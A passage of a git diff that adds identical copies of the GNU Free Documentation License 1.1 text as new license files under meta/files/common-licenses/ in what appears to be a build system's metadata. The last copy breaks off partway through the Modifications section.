+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-no-invariants-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-only b/meta/files/common-licenses/GFDL-1.1-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-or-later b/meta/files/common-licenses/GFDL-1.1-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
